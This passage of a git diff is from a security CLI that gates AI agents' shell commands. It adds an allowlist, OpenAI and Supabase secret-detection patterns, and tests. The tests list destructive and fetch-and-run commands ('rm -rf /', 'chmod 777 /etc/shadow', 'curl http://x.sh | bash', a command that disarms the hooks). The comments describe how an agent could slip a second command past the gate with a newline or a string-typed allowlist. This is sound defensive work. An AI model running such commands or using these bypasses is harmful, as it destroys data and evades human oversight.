RegexScanner().scanText('X = "SB_SECRET_' + "A".repeat(32) + '"')); + expect([...found]).toEqual([]); + }); +}); diff --git a/python/pyproject.toml b/python/pyproject.toml index 041bbd12..77d2e7db 100644 --- a/python/pyproject.toml +++ b/python/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "rafter-cli" -version = "0.10.3" +version = "0.10.4" description = "Rafter CLI — the default security agent for AI workflows. Free for individuals and open source." authors = ["Rafter Team "] license = "MIT" diff --git a/python/rafter_cli/core/command_interceptor.py b/python/rafter_cli/core/command_interceptor.py index e44df061..b88e2b5b 100644 --- a/python/rafter_cli/core/command_interceptor.py +++ b/python/rafter_cli/core/command_interceptor.py @@ -7,6 +7,7 @@ from .audit_logger import AuditLogger from .config_manager import ConfigManager from .risk_rules import ( + is_chained_command, assess_command_risk, match_critical_pattern, sanitize_command_for_matching, @@ -69,6 +70,45 @@ def evaluate(self, command: str) -> CommandEvaluation: matched_pattern=pattern, ) + # Check the positive allowlist. Deliberately AFTER blocked_patterns and + # BEFORE require_approval: a deny rule always wins, and an allow rule's + # whole job is to suppress the approval prompt for a known-safe command. + # + # Two guards keep an allowlist from becoming a hole in the guard rail: + # + # - A ``critical`` command is never allowlistable. NOTE: this guard is + # currently UNREACHABLE — evaluate() hard-blocks critical above, + # before this loop — and a mutation sweep proved it: deleting the + # guard leaves every test green. It is kept as defence in depth, + # because it becomes the only protection the day that early block is + # narrowed. Do not write a test claiming to exercise it; such a test + # passes with the guard deleted. + # - A match does not apply when the command holds more than one + # statement. Patterns are unanchored by request, so without this + # "^git push" would wave through ``rm -rf / && git push`` — or, via + # the newline the original regex missed, anything on a second line. + allowed = getattr(policy, "allowed_patterns", None) or [] + if not isinstance(allowed, list): + # Defence in depth behind the validator: iterating a str yields + # CHARACTERS, and a leading "^" then matches every command. + allowed = [] + for pattern in allowed: + if not self._matches(command, pattern): + continue + if is_chained_command(command): + # Fall through to normal classification rather than allowing. + break + if risk_level == "critical": + break + return CommandEvaluation( + command=command, + risk_level="low", + allowed=True, + requires_approval=False, + reason=f"Matches allowed pattern: {pattern}", + matched_pattern=pattern, + ) + # Check approval patterns for pattern in policy.require_approval: if self._matches(command, pattern): diff --git a/python/rafter_cli/core/config_manager.py b/python/rafter_cli/core/config_manager.py index df98fdb6..5a6c2f30 100644 --- a/python/rafter_cli/core/config_manager.py +++ b/python/rafter_cli/core/config_manager.py @@ -206,6 +206,17 @@ def _validate_raw_config(raw: dict) -> None: if key in cp and (not isinstance(cp[key], list) or not all(isinstance(v, str) for v in cp[key])): print(f'rafter: config "commandPolicy.{key}" must be an array of strings — using default.', file=sys.stderr) del cp[key] + # Every sibling key is validated; this one was added to node's + # validator and not to python's. A bare STRING is the shape + # `rafter agent config set agent.commandPolicy.allowedPatterns + # '^git status'` actually writes — json.loads fails, the raw string + # is stored — and python then iterates its CHARACTERS, so the first + # one, "^", matches every command and the allowlist allows + # everything. Node warned and fell back to []; python did not. + for key in ("allowedPatterns", "allowed_patterns"): + if key in cp and (not isinstance(cp[key], list) or not all(isinstance(v, str) for v in cp[key])): + print(f'rafter: config "commandPolicy.{key}" must be an array of strings — using default.', file=sys.stderr) + del cp[key] for key in ("allowProjectOverride", "allow_project_override"): if key in cp and not isinstance(cp[key], bool): print(f'rafter: config "commandPolicy.{key}" must be a boolean — ignoring (project policies cannot loosen command policy).', file=sys.stderr) @@ -514,6 +525,8 @@ def merge_command_policy(target, project: dict, allow_override: bool) -> None: target.blocked_patterns = project["blocked_patterns"] if project.get("require_approval") is not None: target.require_approval = project["require_approval"] + if project.get("allowed_patterns") is not None: + target.allowed_patterns = project["allowed_patterns"] return mode = project.get("mode") @@ -540,3 +553,20 @@ def merge_command_policy(target, project: dict, allow_override: bool) -> None: target.require_approval = _union_patterns( target.require_approval, project["require_approval"] ) + + # allowed_patterns is NOT unioned, and that asymmetry is the whole point. + # Unioning blocked_patterns or require_approval can only ever ADD + # restriction, so a project contributing to them is safe. An allowlist is + # the opposite: it is a grant. Union it and a cloned repo ships + # command_policy: {allowed_patterns: [".*"]} + # and waves every non-critical command through — precisely the bypass the + # floor exists to prevent (sable-nz4y / rf-adth). So the owner's allowlist + # stands and the project's is refused unless the owner opted in. + if project.get("allowed_patterns") is not None: + print( + "rafter: project policy sets agent.commandPolicy.allowed_patterns, which can " + "only loosen command policy — ignoring. Set " + "agent.commandPolicy.allowProjectOverride: true in your global config to " + "allow project policies to loosen command policy.", + file=sys.stderr, + ) diff --git a/python/rafter_cli/core/config_schema.py b/python/rafter_cli/core/config_schema.py index 6cdac80c..5132656e 100644 --- a/python/rafter_cli/core/config_schema.py +++ b/python/rafter_cli/core/config_schema.py @@ -56,6 +56,20 @@ class CommandPolicyConfig: #: would be no floor at all. Default (absent/False) keeps the floor: a #: project policy may tighten command policy, never loosen it. allow_project_override: bool = False + #: Positive allowlist: unanchored regexes that force a command to ``low`` + #: and skip the approval prompt. For the known-safe command that would + #: otherwise trip a broad risk tier — the motivating case being + #: ``git push --force-with-lease`` to a feature branch on a repo whose main + #: is protected server-side. + #: + #: Three properties make this safe to put on a guard rail, and all three are + #: enforced in CommandInterceptor, not here: + #: 1. blocked_patterns always wins. An allowlist never re-opens what a + #: deny rule closed. + #: 2. A ``critical`` command is never allowlistable. + #: 3. A match does not apply when the command contains a chain operator, + #: so ``^git push`` cannot wave through ``rm -rf / && git push``. + allowed_patterns: list[str] = field(default_factory=list) @dataclass diff --git a/python/rafter_cli/core/policy_loader.py b/python/rafter_cli/core/policy_loader.py index 64d8acce..afebdc8b 100644 --- a/python/rafter_cli/core/policy_loader.py +++ b/python/rafter_cli/core/policy_loader.py @@ -94,6 +94,13 @@ def _map_policy(raw: dict) -> dict: policy["command_policy"]["blocked_patterns"] = cp["blocked_patterns"] if isinstance(cp.get("require_approval"), list): policy["command_policy"]["require_approval"] = cp["require_approval"] + # Without this the allowlist is unreachable from .rafter.yml: the + # interceptor reads allowed_patterns off the merged config and nothing + # ever put it there. Any new command_policy key needs a line HERE and + # in config_manager's merge, or it is documentation for a feature that + # does not run. (rf-3n1i) + if isinstance(cp.get("allowed_patterns"), list): + policy["command_policy"]["allowed_patterns"] = cp["allowed_patterns"] scan = raw.get("scan") if isinstance(scan, dict): @@ -252,6 +259,13 @@ def _validate_policy(policy: dict, raw: dict) -> dict: if "mode" in cp and cp["mode"] not in _VALID_COMMAND_MODES: print('Warning: "command_policy.mode" must be one of: allow-all, approve-dangerous, deny-list \u2014 ignoring.', file=sys.stderr) del cp["mode"] + if "allowed_patterns" in cp: + if not isinstance(cp["allowed_patterns"], list) or not all(isinstance(v, str) for v in cp["allowed_patterns"]): + print( + 'rafter: "command_policy.allowed_patterns" must be a list of strings — ignoring.', + file=sys.stderr, + ) + cp.pop("allowed_patterns", None) if "blocked_patterns" in cp: if not isinstance(cp["blocked_patterns"], list) or not all(isinstance(v, str) for v in cp["blocked_patterns"]): print('Warning: "command_policy.blocked_patterns" must be an array of strings \u2014 ignoring.', file=sys.stderr) diff --git a/python/rafter_cli/core/risk_rules.py b/python/rafter_cli/core/risk_rules.py index 08203882..ec826a8d 100644 --- a/python/rafter_cli/core/risk_rules.py +++ b/python/rafter_cli/core/risk_rules.py @@ -129,6 +129,8 @@ # Operators that chain independent commands. _CHAIN_OPS = {";", "&&", "||", "|", "&"} + + # Operators whose following token is a redirect target (a path — never data). _REDIRECT_OPS = {">", ">>", "<", "<<"} @@ -348,6 +350,21 @@ def _tokenize(s: str) -> tuple[list[_Piece], bool]: return pieces, unterminated +def is_chained_command(command: str) -> bool: + r"""True if the command contains more than one statement. + + Asked of the TOKENIZER rather than a regex. The first version of this was + ``re.compile(r"[;|&]|&&|\|\|")``, which omits the newline — and a newline + has been a statement separator in this module since rf-6pqx. With + ``^git push origin feature/`` allowlisted, ``git push origin feature/x`` and + a second line holding ``git push --force origin main`` classified ``allow``. + The tokenizer already normalises ``\n`` to ``;``, so routing the question + through it removes the second, narrower definition instead of widening it. + """ + pieces, _ = _tokenize(command) + return any(p.op is not None and p.op in _CHAIN_OPS for p in pieces) + + def _exec_name(text: str) -> str: """`/usr/bin/rm` -> `rm`; used to classify the executable of a segment.""" return text[text.rfind("/") + 1:].lower() diff --git a/python/rafter_cli/resources/rafter-security-skill.md b/python/rafter_cli/resources/rafter-security-skill.md index 1a3e579f..87f879c5 100644 --- a/python/rafter_cli/resources/rafter-security-skill.md +++ b/python/rafter_cli/resources/rafter-security-skill.md @@ -1,7 +1,7 @@ --- name: rafter-security description: Security toolkit for AI workflows. Use when scanning code or repos for vulnerabilities, auditing third-party skills/MCPs/agent configs before installing, evaluating shell commands before running them, or generating secure design questions for new features. Provides `rafter run` (remote SAST + SCA, needs RAFTER_API_KEY), `rafter secrets` (offline secrets-only), `rafter agent exec --dry-run` (command-risk classification), and `rafter skill review`. -version: 0.10.3 +version: 0.10.4 homepage: https://rafter.so metadata: openclaw: diff --git a/python/rafter_cli/scanners/secret_patterns.py b/python/rafter_cli/scanners/secret_patterns.py index 462d39ab..b4a76566 100644 --- a/python/rafter_cli/scanners/secret_patterns.py +++ b/python/rafter_cli/scanners/secret_patterns.py @@ -81,6 +81,34 @@ severity="critical", description="Stripe Restricted API Key detected", ), + # OpenAI (rf-f5is / se-wagv, external report). The hook's Write gate is + # regex-only and this file had NO OpenAI rule at all, so `sk-proj-` and + # legacy keys were ALLOWED through the gate at any length while + # `rafter secrets` caught them via betterleaks. The two engines disagreed + # and the one guarding writes was the blind one. + # + # No `(?i)`: these prefixes and their base62 bodies are case-sensitive, and + # the convention here is that prefixed vendor tokens (ghp_, AKIA, AIza, xox) + # match case-sensitively. Lower-casing them would only add false positives. + Pattern( + name="OpenAI API Key", + regex=r"sk-(proj|svcacct|admin)-[A-Za-z0-9_-]{40,}", + severity="critical", + description="OpenAI project/service/admin API key detected", + ), + Pattern( + name="OpenAI API Key (legacy)", + regex=r"sk-[A-Za-z0-9]{20}T3BlbkFJ[A-Za-z0-9]{20}", + severity="critical", + description="OpenAI legacy API key detected", + ), + # Supabase (rf-f5is / se-wagv). Detected by NEITHER engine at any length. + Pattern( + name="Supabase Secret Key", + regex=r"sb_secret_[A-Za-z0-9_-]{20,}", + severity="critical", + description="Supabase secret key detected", + ), # Twilio Pattern( name="Twilio API Key", diff --git a/python/tests/test_command_policy_allowlist.py b/python/tests/test_command_policy_allowlist.py new file mode 100644 index 00000000..a58048c6 --- /dev/null +++ b/python/tests/test_command_policy_allowlist.py @@ -0,0 +1,137 @@ +"""Python half of the command-policy allowlist (rf-3n1i). + +Mirrors node/tests/command-interceptor-allowlist.test.ts and +node/tests/command-policy-allowlist-e2e.test.ts. The node side shipped first and +the python side did not exist at all, so `command_policy.allowed_patterns` was +documented in shared-docs/CLI_SPEC.md and silently inert for every python user — +a security key that does nothing is worse than an absent one, because the +operator believes it is on. + +The e2e half matters more than the unit half here and is the reason this file +exists in this shape: the node unit tests originally stubbed `loadWithPolicy` +and injected `allowedPatterns` directly, so they were green on a code path no +user could reach (b3ba56d). These drive the REAL merge and the REAL evaluate(). +""" +from __future__ import annotations + +import types + +from rafter_cli.core.command_interceptor import CommandInterceptor +from rafter_cli.core.config_manager import merge_command_policy +from rafter_cli.core.config_schema import CommandPolicyConfig + + +def _interceptor(policy: CommandPolicyConfig) -> CommandInterceptor: + ci = CommandInterceptor.__new__(CommandInterceptor) + cfg = types.SimpleNamespace(agent=types.SimpleNamespace(command_policy=policy)) + ci._config = types.SimpleNamespace(load_with_policy=lambda: cfg, load=lambda: cfg) + ci._audit = types.SimpleNamespace(log_command_intercepted=lambda *a, **k: None) + return ci + + +def _policy(**kw) -> CommandPolicyConfig: + p = CommandPolicyConfig() + for k, v in kw.items(): + setattr(p, k, v) + return p + + +class TestAllowlistReachableFromPolicy: + """The floor decides whether a PROJECT may contribute an allowlist.""" + + def test_project_allowlist_is_refused_under_the_floor(self): + # An allowlist is a GRANT. Unioning it would let a cloned repo ship + # allowed_patterns: [".*"] and wave every non-critical command through. + target = _policy(allowed_patterns=[]) + merge_command_policy(target, {"allowed_patterns": [".*"]}, False) + assert target.allowed_patterns == [] + + def test_project_allowlist_applies_when_owner_opts_in(self): + target = _policy(allowed_patterns=[]) + merge_command_policy(target, {"allowed_patterns": [".*"]}, True) + assert target.allowed_patterns == [".*"] + + def test_control_the_merge_is_live(self): + # Without this the refusal above could pass on a dead code path. + target = _policy(blocked_patterns=["^foo"]) + merge_command_policy(target, {"blocked_patterns": ["^bar"]}, False) + assert "^bar" in target.blocked_patterns + + +class TestAllowlistGuards: + """Three properties that keep an allowlist off the guard rail.""" + + def test_owner_allowlist_suppresses_approval(self): + ci = _interceptor(_policy(allowed_patterns=["^git push"])) + ev = ci.evaluate("git push --force-with-lease origin feat") + assert ev.allowed is True + assert ev.requires_approval is False + assert ev.risk_level == "low" + + def test_blocked_patterns_beat_allowed_patterns(self): + ci = _interceptor( + _policy(allowed_patterns=["^git push"], blocked_patterns=["^git push --mirror"]) + ) + assert ci.evaluate("git push --mirror origin").allowed is False + + def test_chain_operator_disqualifies_the_match(self): + # Patterns are unanchored by request, so "^git push" must not wave + # through a chained destructive command. + ci = _interceptor(_policy(allowed_patterns=["^git push"])) + assert ci.evaluate("rm -rf / && git push").allowed is False + + def test_critical_is_never_allowlisted_end_to_end(self): + # Asserts the OUTCOME, not the loop guard. A mutation sweep showed the + # guard inside the allowlist loop is unreachable — evaluate() hard-blocks + # critical first — so a test named for that guard would be vacuous. + ci = _interceptor(_policy(allowed_patterns=[".*"])) + assert ci.evaluate("rm -rf /").allowed is False + + def test_rf_vnxs_disarm_is_never_allowlistable(self): + # The interaction worth pinning: rafter's own security config is + # CRITICAL since rf-vnxs, so an allowlist naming it explicitly still + # cannot grant it — the allowlist is not a fifth route to the disarm. + # Like the row above this asserts the OUTCOME; the mechanism is the + # early hard-block, not the (unreachable) guard in the allowlist loop. + ci = _interceptor(_policy(allowed_patterns=["^rafter agent config set"])) + ev = ci.evaluate("rafter agent config set agent.hooks.enabled false") + assert ev.allowed is False + assert ev.risk_level == "critical" + + def test_newline_is_a_statement_separator(self): + # rafter security review F1. The first chain check was a regex, + # /[;|&]|&&|\|\|/, which omits the newline — while a newline has been a + # statement separator in risk_rules since rf-6pqx. With "^git push + # origin feature/" allowlisted, a second line ran unclassified. The + # agent being gated writes the whole string, so this cost one keystroke. + ci = _interceptor(_policy(allowed_patterns=["^git push origin feature/"])) + assert ci.evaluate("git push origin feature/x\ngit push --force origin main").allowed is False + assert ci.evaluate("git status\nchmod 777 /etc/shadow").allowed is False + + def test_carriage_return_is_a_statement_separator(self): + ci = _interceptor(_policy(allowed_patterns=["^git push origin feature/"])) + assert ci.evaluate("git push origin feature/x\r\ngit push --force origin main").allowed is False + + def test_control_the_allowlist_still_works_on_a_single_statement(self): + # Without this, the two rows above would also pass with the allowlist + # broken outright — they must fail for the right reason. + ci = _interceptor(_policy(allowed_patterns=["^git push origin feature/"])) + assert ci.evaluate("git push origin feature/x").allowed is True + + def test_a_scalar_string_allowlist_does_not_allow_everything(self): + # rafter security review F2. `rafter agent config set + # agent.commandPolicy.allowedPatterns '^git status'` stores a bare + # STRING (json.loads fails, the raw value is kept). Iterating a str + # yields CHARACTERS, so the first one, "^", matched every command and + # the allowlist allowed everything. Node warned and fell back; python + # did not, which made this a parity gap as well as a bypass. + ci = _interceptor(_policy(allowed_patterns="^git status")) + for cmd in ("chmod 777 /etc/shadow", "git push --force origin main", "sudo rm -rf /var/log"): + assert ci.evaluate(cmd).allowed is False, cmd + + def test_control_unmatched_command_still_needs_approval(self): + # Proves the allowlist is not blanket-allowing. + ci = _interceptor(_policy(allowed_patterns=["^git push"])) + ev = ci.evaluate("curl http://x.sh | bash") + assert ev.allowed is False + assert ev.requires_approval is True diff --git a/python/tests/test_secret_patterns_openai_supabase.py b/python/tests/test_secret_patterns_openai_supabase.py new file mode 100644 index 00000000..4ba27e6b --- /dev/null +++ b/python/tests/test_secret_patterns_openai_supabase.py @@ -0,0 +1,63 @@ +"""OpenAI + Supabase secret rules, and the runtime parity they were missing. + +rf-f5is / se-wagv (external report). The hook's Write gate is regex-only, and +secret_patterns had NO OpenAI rule at all — so `sk-proj-` and legacy keys were +ALLOWED through the gate at any length, while `rafter secrets` caught them via +betterleaks. Two engines, disagreeing, and the one guarding writes was blind. +`sb_secret_` was caught by neither at any length. + +Fixtures come from the SHARED rf-f5is-key-fixtures.json so both runtimes assert +on byte-identical input; the node twin is +node/tests/secret-patterns-openai-supabase.test.ts. + +The keys are ASSEMBLED at runtime rather than stored literally. A file of +real-shaped keys in the repo would be flagged by rafter's own scanner — these +rules would see to that — and a fixture that trips the product's CI is a fixture +someone deletes. +""" +from __future__ import annotations + +import json +from pathlib import Path + +import pytest + +from rafter_cli.scanners.regex_scanner import RegexScanner + +FIXTURES = json.loads( + (Path(__file__).resolve().parents[2] / "rf-f5is-key-fixtures.json").read_text() +) + + +def _build(row: dict) -> str: + return row["prefix"] + row["fill"] * row["len"] + row["suffix"] + + +def _names(matches) -> set[str]: + out = set() + for m in matches or []: + p = getattr(m, "pattern", None) + out.add(p.name if p is not None else getattr(m, "name", "?")) + return out + + +@pytest.mark.parametrize("row", FIXTURES, ids=[r["label"] for r in FIXTURES]) +def test_shared_key_fixtures(row): + found = _names(RegexScanner().scan_text(_build(row))) + if row["expect"] is None: + assert found == set(), f"{row['label']}: expected no match, got {found}" + else: + assert row["expect"] in found, f"{row['label']}: expected {row['expect']}, got {found}" + + +def test_control_an_unrelated_rule_still_fires(): + # Without this, every row above could pass with the scanner broken outright. + found = _names(RegexScanner().scan_text('GH = "ghp_16CharsMinimumxxxxxxxxxxxxxxxxxxxxxx"')) + assert "GitHub Personal Access Token" in found + + +def test_rules_are_case_sensitive(): + # These prefixes are case-sensitive, and the convention for prefixed vendor + # tokens here (ghp_, AKIA, AIza, xox) is to match case-sensitively. An + # uppercased prefix is not a key, and matching it would only add noise. + assert _names(RegexScanner().scan_text("X = \"SB_SECRET_" + "A" * 32 + "\"")) == set() diff --git a/rf-f5is-key-fixtures.json b/rf-f5is-key-fixtures.json new file mode 100644 index 00000000..b14f04e6 --- /dev/null +++ b/rf-f5is-key-fixtures.json @@ -0,0 +1,42 @@ +[ + { + "label": "supabase sb_secret_ at a real length", + "prefix": "sb_secret_", "fill": "A", "len": 32, "suffix": "", + "expect": "Supabase Secret Key" + }, + { + "label": "openai sk-proj- at a real length", + "prefix": "sk-proj-", "fill": "A", "len": 48, "suffix": "", + "expect": "OpenAI API Key" + }, + { + "label": "openai sk-svcacct-", + "prefix": "sk-svcacct-", "fill": "B", "len": 44, "suffix": "", + "expect": "OpenAI API Key" + }, + { + "label": "openai sk-admin-", + "prefix": "sk-admin-", "fill": "C", "len": 40, "suffix": "", + "expect": "OpenAI API Key" + }, + { + "label": "openai legacy sk- with the T3BlbkFJ marker", + "prefix": "sk-", "fill": "A", "len": 20, "suffix": "T3BlbkFJBBBBBBBBBBBBBBBBBBBB", + "expect": "OpenAI API Key (legacy)" + }, + { + "label": "GUARD a too-short sb_secret_ is not a key", + "prefix": "sb_secret_", "fill": "A", "len": 8, "suffix": "", + "expect": null + }, + { + "label": "GUARD a too-short sk-proj- is not a key", + "prefix": "sk-proj-", "fill": "A", "len": 10, "suffix": "", + "expect": null + }, + { + "label": "GUARD prose mentioning sk and secrets", + "prefix": "ordinary text about sk and secrets, ", "fill": "x", "len": 5, "suffix": "", + "expect": null + } +] diff --git a/shared-docs/CLI_SPEC.md b/shared-docs/CLI_SPEC.md index 6aac2b68..07b79012 100644 --- a/shared-docs/CLI_SPEC.md +++ b/shared-docs/CLI_SPEC.md @@ -1295,6 +1295,13 @@ command_policy: mode: approve-dangerous blocked_patterns: ["rm -rf /"] require_approval: ["npm publish"] + # Positive allowlist: force a known-safe command to `low` and skip the + # approval prompt, without lowering the global risk level. Unanchored + # regex. blocked_patterns always wins; a `critical` command is never + # allowlistable; and a match does not apply when the command contains a + # statement separator (`&&`, `||`, `;`, `|`, `&`, or a NEWLINE), so "git push" cannot wave through + # `rm -rf / && git push`. + allowed_patterns: ["git push --force-with-lease"] scan: exclude_paths: ["vendor/", "third_party/"] custom_patterns: